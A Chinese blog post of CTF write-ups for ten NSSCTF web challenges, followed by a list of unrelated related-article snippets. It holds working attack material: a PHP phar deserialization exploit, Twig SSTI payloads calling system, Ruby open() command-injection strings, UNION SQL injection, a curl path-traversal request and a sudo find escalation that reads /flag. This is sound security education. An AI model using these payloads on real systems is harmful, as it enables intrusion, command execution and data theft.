NSSCTF web刷题记录4
文章目录
- [NSSRound#4 SWPU]1zweb(revenge)
- [强网杯 2019]高明的黑客
- [BJDCTF 2020]Cookie is so subtle!
- [MoeCTF 2021]fake game
- [第五空间 2021]PNG图片转换器
- [ASIS 2019]Unicorn shop
- [justCTF 2020]gofs
- [UUCTF 2022 新生赛]phonecode
- [b01lers 2020]Life On Mars
- [HZNUCTF 2023 final]ezgo
[NSSRound#4 SWPU]1zweb(revenge)
考点:phar反序列化、phar修改签名、__wakeup()绕过、gzip绕过
打开题目,发现可以查看源码
我们分别查看index.php和upload.php
(注意如果不全可以ctrl+u查看源码找到)
index.php
<?php
class LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){$this->ljt="ljt";$this->dky="dky";phpinfo();}public function __destruct(){if($this->ljt==="Misc"&&$this->dky==="Re")eval($this->cmd);}public function __wakeup(){$this->ljt="Re";$this->dky="Misc";}
}
$file=$_POST['file'];
if(isset($_POST['file'])){if (preg_match("/flag/", $file)) {die("nonono");}echo file_get_contents($file);
}
分析一下,存在LoveNss类,如果满足if条件则命令执行,不过可以发现要绕过__wakeup()
方法,那么我们用属性数目大于实际即可,然后触发__destruct()
也就是需要phar修改签名;然后就是POST参数file可以读取文件,但是过滤了flag
upload.php如下
<?php
if ($_FILES["file"]["error"] > 0){echo "上传异常";
}
else{$allowedExts = array("gif", "jpeg", "jpg", "png");$temp = explode(".", $_FILES["file"]["name"]);$extension = end($temp);if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");if(gettype($pos)==="integer"){echo "ltj一眼就发现了phar";}else{if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在";}else{$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content);fclose($myfile);echo "上传成功 ./upload/".$_FILES["file"]["name"];}}}else{echo "dky不喜欢这个文件 .".$extension;}
}
?>
逻辑很简单,就是检测文件后缀是否合法,然后检测文件内容是否含有__HALT_COMPILER();
也就是检测是否为phar文件
这道题目思路很清晰,就是要用phar伪协议读取文件,然后绕过__wakeup()
,由于文件损坏要修改签名修复,然后用gzip压缩绕过
我们先构造exp
<?php
class LoveNss{public $ljt;public $dky;public $cmd;
}
$a=new LoveNss();
$a->ljt='Misc';
$a->dky='Re';
$a->cmd="system('cat /f*');";
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
然后将phar文件用010打开,并将其修改为4
phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名,查看PHP手册找到phar的签名格式
可以知道为SHA256签名格式
我们将刚刚的文件命名为hacker1.phar
然后修改签名脚本
from hashlib import sha256
with open("hacker1.phar",'rb') as f:text=f.read()main=text[:-40] #正文部分(除去最后40字节)end=text[-8:] #最后八位也是不变的 new_sign=sha256(main).digest()new_phar=main+new_sign+endopen("hacker1.phar",'wb').write(new_phar) #将新生成的内容以二进制方式覆盖写入原来的phar文件
将修改好的phar文件gzip压缩一下,然后修改后缀
上传,phar伪协议读取
file=phar://upload/hacker1.jpg/hacker1.phar
[强网杯 2019]高明的黑客
考点:脚本编写爆破
打开题目,发现有备份源码
下载下来,发现有三千个
我们随便打开一个看看,发现存在getshell的过程
那么我们思路很简单,在这么多文件里找到可以利用的shell
脚本如下
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):s1.acquire() print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))data = {} #所有的$_POSTparams = {} #所有的$_GETfor m in gets:params[m] = "echo 'xxxxxx';"for n in posts:data[n] = "echo 'xxxxxx';"url = 'http://127.0.0.1/src/'+filereq = session.post(url, data=data, params=params) #一次性请求所有的GET和POSTreq.close() # 关闭请求 释放内存req.encoding = 'utf-8'content = req.text#print(content)if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数flag = 0for a in gets:req = session.get(url+'?%s='%a+"echo 'xxxxxx';")content = req.textreq.close() # 关闭请求 释放内存if "xxxxxx" in content:flag = 1breakif flag != 1:for b in posts:req = session.post(url, data={b:"echo 'xxxxxx';"})content = req.textreq.close() # 关闭请求 释放内存if "xxxxxx" in content:breakif flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,param = aelse:param = bprint('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)print('结束时间: ' + time.asctime(time.localtime(time.time())))s1.release()for i in files: #加入多线程t = threading.Thread(target=get_content, args=(i,))t.start()
大体流程就是先获取所有的GET和POST请求,然后一次性发送,观察是否存在可利用的shell,如果成功再先判断所有的GET里是否存在,然后判断POST里是否存在shell,通过flag参数值判断为哪个方式,最后输出可利用的shell文件。由于文件数目大,要用多线程
这里跑脚本可能跑不出来,按照下面步骤即可
1.需要开启phpstudy
2.将src文件夹放在phpstudy的WWW文件夹下
3.题中的PHP版本是7.3.5,需要修改本地PHP版本为7.3.5左右
成功找到(vscode跑出来数据不齐不好找)
命令执行,得到flag
[BJDCTF 2020]Cookie is so subtle!
考点:Twig模板注入
打开题目,发现存在ssti注入
输入{{7*'7'}}
,成功回显49,猜测Twig模板注入
F12找到hint,提示去看cookie
我们抓包看一下,发现存在user参数(也就是注入点)
网上随便找一个没被过滤的payload即可
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("cat /flag")}}
得到flag
[MoeCTF 2021]fake game
考点:nodejs原型链污染
打开题目,提示只能分配十点数
我们抓包看看,发现是json格式
结合前面提示merge,猜测原型链污染
payload用postman发送即可(注意是json格式)
得到flag
[第五空间 2021]PNG图片转换器
考点:Ruby-利用File.open()执行shell命令
源码
require 'sinatra'
require 'digest'
require 'base64'get '/' doopen("./view/index.html", 'r').read()
endget '/upload' doopen("./view/upload.html", 'r').read()
endpost '/upload' dounless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'return "<script>alert('error');location.href='/upload';</script>"endbeginfilename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'open(filename, 'wb') { |f|f.write open(params[:file][:tempfile],'r').read()}"Upload success, file stored at #{filename}"rescue'something wrong'endendget '/convert' doopen("./view/convert.html", 'r').read()
endpost '/convert' dobeginunless params['file']return "<script>alert('error');location.href='/convert';</script>"endfile = params['file']unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/return "<script>alert('dont hack me');</script>"endres = open(file, 'r').read()headers 'Content-Type' => "text/html; charset=utf-8""var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"rescue'something wrong'end
end
分析一下,./upload
路由提供文件上传功能,允许的文件类型为png格式,上传成功后文件名进行加密;./convert
路由作用是先检测是否为png格式文件,然后过滤..
和/
防止路径穿越,然后pen函数进行读取文件并将文件内容进行base64加密
这里getshell利用的是open()函数执行shell命令的漏洞,原理如下
以一个管道字符(|)开头,就会创建一个子进程,通过一对管道连接到调用者。 返回的IO对象可用于向该子进程的标准输入写入和从标准输出读取
我们先随便上传一张png图片
然后将ls /
加密一下,利用反引号和管道符命令执行
file=| `echo bHMgLw== | base64 -d` > 52227927f0672cbaf6a331d49ac96ec3.png
大概执行过程是|
左边的输出带入右边,也就是执行反引号里面的,解码完为ls /
,然后再到|
左边的输入带到右边,执行ls /
写入到png文件里
然后查看该png文件,解码
找了半天,发现flag在环境变量里
加密cat /proc/1/environ
file=| `echo Y2F0IC9wcm9jLzEvZW52aXJvbg== | base64 -d` > 52227927f0672cbaf6a331d49ac96ec3.png
解码得到flag
[ASIS 2019]Unicorn shop
考点:Unionde等价性的漏洞
打开题目,发现有四个独角兽的购买选择
尝试购买第四个,发现只能1个字符
查看源码,发现提示UTF-8
那么我们要找到一个比1337大的字符即可
题目提示python Unicode,可以知道编码不一致造成了转码安全问题
这里的字符不止一个,我找的是数值五万的(编码网站)
直接将该字符复制上去,即可得到flag
[justCTF 2020]gofs
考点:curl命令、目录穿越
源码如下
package mainimport ("fmt""io"fs "main/fs""net/http""os"
)const FILE_MARKER = "\n\n~~~~~~~~~~~~~~ Generated by Go FileServ v0.0.0b ~~~~~~~~~~~~~\n\n(because writing file servers is eeaaassyyyy & fun!!!1111oneone)"
const VERSION = "FileServ v0.0.0b"type wrapperW struct {http.ResponseWriter
}func (w *wrapperW) ReadFrom(src io.Reader) (int64, error) {// if its a file, add the file marker length to its sizeif lr, ok := src.(*io.LimitedReader); ok {lr.N += int64(len(FILE_MARKER))}if w, ok := w.ResponseWriter.(interface{ ReadFrom(src io.Reader) (int64, error) }); ok {return w.ReadFrom(src)}panic("unreachable")
}func main() {var path stringif len(os.Args) < 2 {fmt.Println("Defaulting to serving current directory. Use ./fs <path> to serve different")path, _ = os.Getwd()} else {path = os.Args[1]}fileServ := http.FileServer(fs.CreateFileServFS(path,// Modify all responses by adding the file marker to them// we also need to adjust the file size in the ReadFrom because of to that...func(in []byte) (out []byte) {out = append(in, FILE_MARKER...)return}))http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {w.Header().Set("Served-by", VERSION)w = &wrapperW{w}fileServ.ServeHTTP(w, r)})http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {w.Header().Set("Served-by", VERSION)w.Write([]byte(`No flag for you!`))})port := "8080"fmt.Println("Hosting on port", port)err := http.ListenAndServe(":"+port, nil)fmt.Println(err)
}
分析一下,main函数首先检测参数是否小于2,然后创建了一个http.FileServer,并传入fs.CreateFileServFS()函数的返回值作为参数,能够访问文件。然后就是HandleFunc的一个映射路由/
,存在文件读取功能,./flag
路由为假flag
看到关键代码
fileServ := http.FileServer(fs.CreateFileServFS(path,// Modify all responses by adding the file marker to them// we also need to adjust the file size in the ReadFrom because of to that...func(in []byte) (out []byte) {out = append(in, FILE_MARKER...)return}))
整个代码片段的作用是创建一个文件服务器,并对所有响应进行修改,在响应内容的末尾添加FILE_MARKER。文件服务器使用fs.CreateFileServFS()创建的文件系统来提供文件服务。在每个响应返回之前,会先调用匿名函数对响应内容进行修改。
我们可以利用curl命令的参数--path-as-is
去绕过
(会使curl完全按照URL中提供的方式发送路径,而不会删除任何点段)
curl -X CONNECT --path-as-is http://node4.anna.nssctf.cn:28929/../flag
得到flag
[UUCTF 2022 新生赛]phonecode
考点:随机数预测
打开题目,提示我们输入手机号(不给hhh)
我们输入1,1看看,发现有hint是随机数,并且我们修改code的值,随机数固定不变
那么查找下php函数,成功找到(固定不变说明有算法)
mt_rand函数
使用 Mersenne Twister 算法生成一个指定范围内的随机整数。参数 $min 和 $max 分别指定了随机数的最小值和最大值。
我们本地测试下,发现hint就是第一次的随机数
那么我们猜测code值为第二次的随机数
提交试试,得到flag
[b01lers 2020]Life On Mars
考点:联合查询注入
打开题目,点了半天没发现参数直接抓包
大概测试了下,过滤了空格
那么我们先爆字段数
/query?search=amazonis_planitia/**/union/**/select/**/1,2&{}&_=1699240477632
发现有两列
爆库名
/query?search=amazonis_planitia/**/union/**/select/**/1,database()&{}&_=1699240477632
爆表名
/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='alien_code'&{}&_=1699240477632
爆列名
/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='code'&{}&_=1699240477632
查询数据得到flag
/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(id,code)/**/from/**/code&{}&_=1699240477632
[HZNUCTF 2023 final]ezgo
考点:sudo提权
打开题目,提示传参
随便传flag,发现提示未在路径找到
那么试试shit=/flag
发现权限不够
那么就要提权,我们看看
/usr/bin/
路径下有什么可以利用的
试试sudo
查看下,发现能用
然后看看权限,有find命令可以用
构造payload,得到flag
shit=/usr/bin/sudo find . -exec cat /flag \; -quit
相关文章:

NSSCTF web刷题记录4
文章目录 [NSSRound#4 SWPU]1zweb(revenge)[强网杯 2019]高明的黑客[BJDCTF 2020]Cookie is so subtle![MoeCTF 2021]fake game[第五空间 2021]PNG图片转换器[ASIS 2019]Unicorn shop[justCTF 2020]gofs[UUCTF 2022 新生赛]phonecode[b01lers 2020]Life On Mars[HZNUCTF 2023 f…...

什么是大模型?一文读懂大模型的基本概念
大模型是指具有大规模参数和复杂计算结构的机器学习模型。本文从大模型的基本概念出发,对大模型领域容易混淆的相关概念进行区分,并就大模型的发展历程、特点和分类、泛化与微调进行了详细解读,供大家在了解大模型基本知识的过程中起到一定参…...

数据结构之队的实现
𝙉𝙞𝙘𝙚!!👏🏻‧✧̣̥̇‧✦👏🏻‧✧̣̥̇‧✦ 👏🏻‧✧̣̥̇:Solitary-walk ⸝⋆ ━━━┓ - 个性标签 - :来于“云”的“羽球人”。…...

【实战Flask API项目指南】之三 路由和视图函数
实战Flask API项目指南之 路由和视图函数 本系列文章将带你深入探索实战Flask API项目指南,通过跟随小菜的学习之旅,你将逐步掌握 Flask 在实际项目中的应用。让我们一起踏上这个精彩的学习之旅吧! 前言 当小菜踏入Flask后端开发的世界时&…...
mediasoup udp端口分配策略
mediasoup-worker多进程启动时,rtcMinPort/rtcMaxPort可以使用相同的配置。 for (let i 0; i < numWorkers; i) { let worker await mediasoup.createWorker({ logLevel: config.mediasoup.worker.logLevel, logTags: config.mediasoup.work…...

山西电力市场日前价格预测【2023-11-07】
日前价格预测 预测说明: 如上图所示,预测明日(2023-11-07)山西电力市场全天平均日前电价为318.54元/MWh。其中,最高日前电价为514.01元/MWh,预计出现在18: 00。最低日前电价为192.95元/MWh,预计…...

Microsoft Dynamics 365 CE 扩展定制 - 5. 外部集成
本章内容包括: 使用.NET从其他系统连接到Dynamics 365使用OData(Java)从其他系统连接到Dynamics 365使用外部库从外部源检索数据使用web应用程序连接到Dynamics 365运行Azure计划任务设置Azure Service Bus终结点与Azure Service Bus构建近乎实时的集成使用来自Azure服务总线…...

手机升级STM32单片机,pad下载程序,手机固件升级单片机,局域网程序下载,STM32单片机远程下载升级
STM32单片机,是我们最常见的一种MCU。通常我们在使用STM32单片机都会遇到程序在线升级下载的问题。 STM32单片机的在线下载通常需要以下几种方式完成: 1、使用ST提供的串口下载工具,本地完成固件的升级下载。 2、自行完成系统BootLoader的编写…...

【漏洞复现】weblogic-SSRF漏洞
感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 文章目录 漏洞测试注入HTTP头,利用Redis反弹shell 问题解决 Path : vulhub/weblogic/ssrf 编译及启动测试环境 docker compose up -dWeblogic中存在一个SSRF漏洞࿰…...
FreeSWTCH dialplan check nosdp
应朋友要求写一段dialplan,如果没有sdp(sip_profile打开了3pcc),马上回486,当然如果有sdp,dialplan正常往下走 我试了试,貌似不太复杂,如下: <!-- check no sdp --&…...

微信小程序案例3-1 比较数字
文章目录 一、运行效果二、知识储备(一)Page()函数(二)数据绑定(三)事件绑定(四)事件对象(五)this关键字(六)setData()方法࿰…...

哈希表----数据结构
引入 如果你是一个队伍的队长,现在有 24 个队员,需要将他们分成 6 组,你会怎么分?其实有一种方法是让所有人排成一排,然后从队头开始报数,报的数字就是编号。当所有人都报完数后,这 24 人也被分…...
可达矩阵-邻接矩阵-以及有向图的python绘制
参考1 自定义输入矩阵来绘制 根据参考代码, 自定义 代码如下: # 编程实现有向图连通性的判断 from pylab import mplmpl.rcParams[font.sans-serif] [SimHei] mpl.rcParams[axes.unicode_minus] False import numpy as np import networkx as nx imp…...
react typescript @别名的使用
1、config/webpack.config.js中找到alias,添加: path.resolve(src) ,如下: alias: {// Support React Native Web// https://www.smashingmagazine.com/2016/08/a-glimpse-into-the-future-with-react-native-for-web/"react-native&qu…...

C++性能优化笔记-6-C++元素的效率差异-7-类型转换
C元素的效率差异 类型转换signed与unsigned转换整数大小转换浮点精度转换整数到浮点转换浮点到整数转换指针类型转换重新解释对象的类型const_caststatic_castreinterpret_castdynamic_cast转换类对象 类型转换 在C语法中,有几种方式进行类型转换: // …...
c#中switch常用模式
声明模式 首先检查value的类型,然后根据类型输出相应的消息 public void ShowMessage(object value) {switch (value){case int i: Console.WriteLine($"value is int:{i}"); break;case long l: Console.WriteLine($"value is long:{l}"); b…...
Flink SQL 常用作业sql
目录 flink sql常用配置kafka source to mysql sink窗口函数 开窗datagen 自动生成数据表tumble 滚动窗口hop 滑动窗口cumulate 累积窗口 grouping sets 多维分析over 函数TopN flink sql常用配置 设置输出结果格式 SET sql-client.execution.result-modetableau;kafka source…...

nodejs国内镜像及切换版本工具nvm
淘宝 NPM 镜像站(http://npm.taobao.org)已更换域名,新域名: Web 站点:https://npmmirror.com Registry Endpoint:https://registry.npmmirror.com 详见: 【望周知】淘宝 NPM 镜像换域名了&…...

用Rust和Scraper库编写图像爬虫的建议
本文提供一些有关如何使用Rust和Scraper库编写图像爬虫的一般建议: 1、首先,你需要安装Rust和Scraper库。你可以通过Rustup或Cargo来安装Rust,然后使用Cargo来安装Scraper库。 2、然后,你可以使用Scraper库的Crawler类来创建一个…...

Java 语言环境搭建
JDK 是一种用于构建在 Java 平台上发布的应用程序、Applet 和组件的开发环境,即编写 Java 程序必须使用 JDK,它提供了编译和运行 Java 程序的环境。 在安装 JDK 之前,首先要到 Oracle 网站获取 JDK 安装包。JDK 安装包被集成在 Java SE 中&a…...

网络六边形受到攻击
大家读完觉得有帮助记得关注和点赞!!! 抽象 现代智能交通系统 (ITS) 的一个关键要求是能够以安全、可靠和匿名的方式从互联车辆和移动设备收集地理参考数据。Nexagon 协议建立在 IETF 定位器/ID 分离协议 (…...

stm32G473的flash模式是单bank还是双bank?
今天突然有人stm32G473的flash模式是单bank还是双bank?由于时间太久,我真忘记了。搜搜发现,还真有人和我一样。见下面的链接:https://shequ.stmicroelectronics.cn/forum.php?modviewthread&tid644563 根据STM32G4系列参考手…...
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以? 在 Golang 的面试中,map 类型的使用是一个常见的考点,其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...

2025盘古石杯决赛【手机取证】
前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来,实在找不到,希望有大佬教一下我。 还有就会议时间,我感觉不是图片时间,因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...
WEB3全栈开发——面试专业技能点P2智能合约开发(Solidity)
一、Solidity合约开发 下面是 Solidity 合约开发 的概念、代码示例及讲解,适合用作学习或写简历项目背景说明。 🧠 一、概念简介:Solidity 合约开发 Solidity 是一种专门为 以太坊(Ethereum)平台编写智能合约的高级编…...
【碎碎念】宝可梦 Mesh GO : 基于MESH网络的口袋妖怪 宝可梦GO游戏自组网系统
目录 游戏说明《宝可梦 Mesh GO》 —— 局域宝可梦探索Pokmon GO 类游戏核心理念应用场景Mesh 特性 宝可梦玩法融合设计游戏构想要素1. 地图探索(基于物理空间 广播范围)2. 野生宝可梦生成与广播3. 对战系统4. 道具与通信5. 延伸玩法 安全性设计 技术选…...

Netty从入门到进阶(二)
二、Netty入门 1. 概述 1.1 Netty是什么 Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. Netty是一个异步的、基于事件驱动的网络应用框架,用于…...
探索Selenium:自动化测试的神奇钥匙
目录 一、Selenium 是什么1.1 定义与概念1.2 发展历程1.3 功能概述 二、Selenium 工作原理剖析2.1 架构组成2.2 工作流程2.3 通信机制 三、Selenium 的优势3.1 跨浏览器与平台支持3.2 丰富的语言支持3.3 强大的社区支持 四、Selenium 的应用场景4.1 Web 应用自动化测试4.2 数据…...

Axure 下拉框联动
实现选省、选完省之后选对应省份下的市区...
Java 与 MySQL 性能优化:MySQL 慢 SQL 诊断与分析方法详解
文章目录 一、开启慢查询日志,定位耗时SQL1.1 查看慢查询日志是否开启1.2 临时开启慢查询日志1.3 永久开启慢查询日志1.4 分析慢查询日志 二、使用EXPLAIN分析SQL执行计划2.1 EXPLAIN的基本使用2.2 EXPLAIN分析案例2.3 根据EXPLAIN结果优化SQL 三、使用SHOW PROFILE…...